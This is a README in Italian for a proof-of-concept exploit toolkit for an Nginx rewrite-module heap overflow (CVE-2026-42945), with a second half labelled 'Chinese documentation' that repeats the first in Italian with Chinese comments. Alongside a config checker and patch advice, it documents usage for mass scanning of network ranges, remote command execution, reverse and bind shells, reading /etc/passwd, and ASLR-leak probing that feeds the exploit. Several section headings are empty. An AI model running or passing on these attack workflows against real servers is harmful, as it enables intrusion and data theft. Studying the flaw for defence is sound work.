CVE-2026-42945 Nginx Rift - Toolkit PoC

Un toolkit proof-of-concept completo per CVE-2026-42945 (Nginx Rift), una vulnerabilità critica di heap buffer overflow nel modulo ngx_http_rewrite_module di Nginx.

Riepilogo della Vulnerabilità

Causa Principale

La vulnerabilità è dovuta a un errore di calcolo delle dimensioni tra due passaggi interni durante l'elaborazione delle regole di rewrite. Se una configurazione utilizza:

• Catture regex senza nome ($1, $2, ecc.)
• Combinate con una stringa di sostituzione contenente ?

Nel primo passaggio Nginx calcola erroneamente la dimensione del buffer necessaria e, durante il secondo passaggio, scrive oltre il buffer heap allocato.

Esempio di Configurazione Vulnerabile

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Configurazione Sicura (Corretta)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Componenti del Toolkit

1. nginx_rift_poc.py - Strumento PoC Principale

Scanner di vulnerabilità e strumento di sfruttamento per singolo target.

Caratteristiche:

• Rileva la versione di Nginx dall'header Server
• Verifica se la versione rientra nell'intervallo vulnerabile
• Invia payload HTTP appositamente costruiti per attivare l'heap overflow
• Genera configurazioni di test vulnerabili/sicure

Utilizzo:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - Scanner di Massa

Scanner batch per testare più target contemporaneamente.

Caratteristiche:

• Scansione multi-thread (50 thread predefiniti)
• Elenco target da file o intervallo di rete CIDR
• Output JSON per l'integrazione
• Rilevamento automatico SSL per la porta 443

Utilizzo:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Formato del file target:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - Analizzatore di Configurazione

Analizza i file di configurazione Nginx locali per individuare pattern di rewrite vulnerabili.

Caratteristiche:

• Analizza nginx.conf e segue le direttive include
• Rileva catture senza nome con ? nelle stringhe di sostituzione
• Supporto alla correzione automatica (con backup)
• Scansione ricorsiva delle directory

Utilizzo:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - PoC RCE Avanzato

Strumento di exploit avanzato basato sulla ricerca ufficiale di depthfirst, con supporto di più pattern di rewrite e modalità di exploit.

Caratteristiche:

• Auto-rilevamento di 8 pattern di rewrite vulnerabili comuni (/api/, /redirect/, /user/, ecc.)
• Supporto di più caratteri trigger di overflow (+, &, =, %)
• Generazione intelligente del payload con dimensione di overflow controllata
• Più modalità di exploit: cmd / shell / bind / read
• Indirizzi di base heap/libc personalizzati per ambienti con ASLR disattivo
• Costruzione dinamica dello spray body con finto ngx_pool_cleanup_s

Utilizzo:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Dettagli delle Modalità di Exploit:

Configurazione degli Indirizzi (solo ASLR disattivo):

• --heap-base: Base heap del target (es. 0x555555559000)
• --libc-base: Indirizzo di base di libc (es. 0x7ffff77ba000)
• --system-addr: Indirizzo diretto di system() (sostituisce libc-base)

5. aslr_leak_detector.py - Rilevatore di Perdite ASLR

Scanner completo per rilevare perdite di informazioni in grado di aggirare la protezione ASLR.

Caratteristiche:

• Rilevamento di perdite negli header HTTP (Server, X-Powered-By, ecc.)
• Analisi delle pagine di errore per indirizzi di memoria e stack trace
• Sondaggio di endpoint specifici di Nginx (/nginx_status, /actuator/*, ecc.)
• Rilevamento di indirizzi di memoria esposti (puntatori a 64 bit, indirizzi heap/libc/stack)
• Sondaggio del layout dell'heap tramite analisi dei tempi di risposta
• Inferenza dello stato ASLR (attivo/disattivo/debole)
• Integrazione diretta con enhanced_poc.py tramite report JSON

Utilizzo:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Integrazione con il PoC Avanzato:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indicatori di Rilevamento della Vulnerabilità

Lo strumento PoC identifica la vulnerabilità tramite questi indicatori:

Installazione

Nessuna dipendenza esterna richiesta. Utilizza solo la libreria standard di Python.

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

Versioni Interessate

Mitigazione

Azioni Immediatamente Necessarie

1. Aggiornare Nginx alla versione 1.30.1 (stabile) o 1.31.0 (mainline)
2. Controllare le configurazioni per individuare pattern di rewrite vulnerabili
3. Abilitare ASLR su tutti gli host che eseguono processi worker di Nginx

Workaround di Configurazione

Se l'aggiornamento non è immediatamente possibile, sostituire le catture senza nome con catture con nome:

# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Patch Virtuale WAF

Distribuire regole WAF per bloccare le richieste malformate che mirano a pattern di rewrite vulnerabili.

Avvertenza (Disclaimer)

Questo toolkit è destinato esclusivamente a test di sicurezza autorizzati e a scopo di ricerca.

• Utilizzarlo solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test
• L'accesso non autorizzato a sistemi informatici è illegale
• Gli autori non sono responsabili dell'uso improprio o dei danni causati da questo strumento
• Effettuare sempre test in ambienti isolati prima dell'uso in produzione

CVE Correlate

Questo difetto è stato scoperto insieme ad altri tre problemi di corruzione della memoria:

Riferimenti

• Advisory di sicurezza F5
• Sicurezza Nginx
• Dettagli CVE-2026-42945

Licenza

Questo progetto è fornito a scopo educativo e per test di sicurezza autorizzati.

Autore: Security Research Team Data: 2026-06-11

Documentazione in Cinese

Riepilogo della Vulnerabilità

CVE-2026-42945 (Nginx Rift) è una vulnerabilità di heap buffer overflow nel modulo ngx_http_rewrite_module di Nginx, presente fin dal 2008 (Nginx 0.6.27) e rimasta latente per circa 18 anni.

Principio della Vulnerabilità

Durante l'elaborazione delle regole di rewrite, Nginx esegue internamente due passaggi di parsing. Se nella configurazione sono soddisfatte contemporaneamente le due condizioni seguenti:

1. Uso di catture regex senza nome (come $1, $2)
2. La stringa di sostituzione contiene il carattere ?

Nel primo passaggio Nginx calcola erroneamente la dimensione del buffer; nel secondo passaggio scrive dati oltre i limiti del buffer heap, causando un heap overflow.

Esempio di Configurazione Vulnerabile (con Difetto)

server {
    # 有漏洞：未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Esempio di Configurazione Sicura (Corretta)

server {
    # 安全：使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Descrizione dei Componenti del Toolkit

1. nginx_rift_poc.py — Strumento PoC Principale

Scanner di vulnerabilità e strumento di sfruttamento per singolo target.

Caratteristiche:

• Rileva la versione di Nginx dall'header di risposta Server
• Verifica se la versione rientra nell'intervallo vulnerabile
• Invia richieste HTTP appositamente costruite per attivare l'heap overflow
• Genera configurazioni vulnerabili/sicure per i test

Esempi di utilizzo:

# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全（已修复）配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — Scanner Batch

Scansione multi-thread di più target contemporaneamente.

Caratteristiche:

• Scansione concorrente con 50 thread predefiniti
• Supporto alla lettura dei target da file o da intervalli di rete CIDR
• Output dei risultati in formato JSON
• Riconoscimento automatico delle connessioni SSL sulla porta 443

Esempi di utilizzo:

# 从目标文件扫描（格式：每行 host:port）
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描（100线程）
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Formato del file dei target:

# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — Controllore dei File di Configurazione

Analizza i file di configurazione Nginx locali per individuare pattern di rewrite vulnerabili.

Caratteristiche:

• Analizza nginx.conf e risolve ricorsivamente i file referenziati da include
• Rileva direttive rewrite con catture senza nome + ?
• Supporta la correzione automatica (crea automaticamente un backup .bak)
• Scansione ricorsiva delle directory

Esempi di utilizzo:

# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置（自动备份原文件）
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — PoC RCE Avanzato

Strumento di exploit avanzato basato sulla ricerca ufficiale di depthfirst, con supporto di più pattern di rewrite e modalità di sfruttamento.

Caratteristiche:

• Rilevamento automatico di 8 pattern di rewrite vulnerabili comuni (/api/, /redirect/, /user/, ecc.)
• Supporto di più caratteri trigger di overflow (+, &, =, %)
• Generazione intelligente del payload con controllo preciso della dimensione dell'overflow
• Più modalità di sfruttamento: cmd / shell / bind / read
• Indirizzi di base heap/libc personalizzati (per ambienti con ASLR disattivo)
• Costruzione dinamica dello spray body, con finto ngx_pool_cleanup_s

Tabella di espansione dei caratteri trigger di overflow:

Esempi di utilizzo:

# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令（ASLR 关闭环境）
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell（在目标上监听）
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Descrizione delle modalità di sfruttamento:

Configurazione degli indirizzi (solo ambienti con ASLR disattivo):

• --heap-base: Base heap del target (es. 0x555555559000)
• --libc-base: Indirizzo di base di libc (es. 0x7ffff77ba000)
• --system-addr: Specifica direttamente l'indirizzo di system()

5. aslr_leak_detector.py — Rilevatore di Perdite di Informazioni ASLR

Scanner completo per rilevare perdite di informazioni utilizzabili per aggirare la protezione ASLR.

Caratteristiche:

• Rilevamento di perdite negli header di risposta HTTP (Server, X-Powered-By, ecc.)
• Analisi delle pagine di errore (indirizzi di memoria, stack trace)
• Sondaggio di endpoint specifici di Nginx (/nginx_status, /actuator/*, ecc.)
• Rilevamento di perdite di indirizzi di memoria (puntatori a 64 bit, indirizzi heap/libc/stack)
• Sondaggio del layout dell'heap (inferenza dello stato della memoria tramite differenze nei tempi di risposta)
• Inferenza dello stato ASLR (attivo/disattivo/debole)
• Integrazione diretta con enhanced_poc.py tramite report JSON

Esempi di utilizzo:

# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

Utilizzo integrato con il PoC Avanzato:

# 步骤 1：检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2：使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indicatori di Rilevamento della Vulnerabilità

Lo strumento PoC determina se il target è vulnerabile in base ai seguenti fenomeni:

Metodo di Installazione

Nessuna dipendenza di terze parti da installare; è sufficiente la libreria standard di Python.

# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本（推荐 3.7+）
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

Versioni Interessate

Misure di Mitigazione

Raccomandazioni di Intervento Immediato

1. Aggiornare immediatamente Nginx alla 1.30.1 (stabile) o 1.31.0 (mainline)
2. Controllare i file di configurazione per individuare pattern di rewrite vulnerabili
3. Abilitare ASLR (randomizzazione del layout dello spazio degli indirizzi) per aumentare la difficoltà di sfruttamento RCE

Mitigazione Temporanea (se non è possibile aggiornare subito)

Sostituire le catture senza nome con catture con nome:

# 修改前（有漏洞）
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后（安全）
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Patch Virtuale WAF

Distribuire regole per il web application firewall al fine di bloccare le richieste maligne dirette a pattern di rewrite vulnerabili.

Avvertenza (Disclaimer)

Questo toolkit è destinato esclusivamente a test di sicurezza autorizzati e a scopo di ricerca.

• Utilizzare questo strumento solo su sistemi di cui si possiede la proprietà o per cui si è ricevuta un'autorizzazione esplicita
• L'accesso non autorizzato a sistemi informatici è illegale
• Gli autori non sono responsabili dell'uso improprio o dei danni causati da questo strumento
• Eseguire sempre test in ambienti isolati prima dell'uso in produzione

Vulnerabilità Correlate

Questa vulnerabilità fa parte di una serie di problemi di corruzione della memoria scoperti dal sistema di analisi statica basato su intelligenza artificiale di depthfirst:

Link di Riferimento

• Advisory di sicurezza F5
• Advisory di sicurezza Nginx
• Dettagli CVE-2026-42945
• Analisi tecnica SonicWall
• Rapporto di ricerca Cloud Security Alliance

Licenza Open Source

Questo progetto è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati.

Autore: Security Research Team Data: 2026-06-11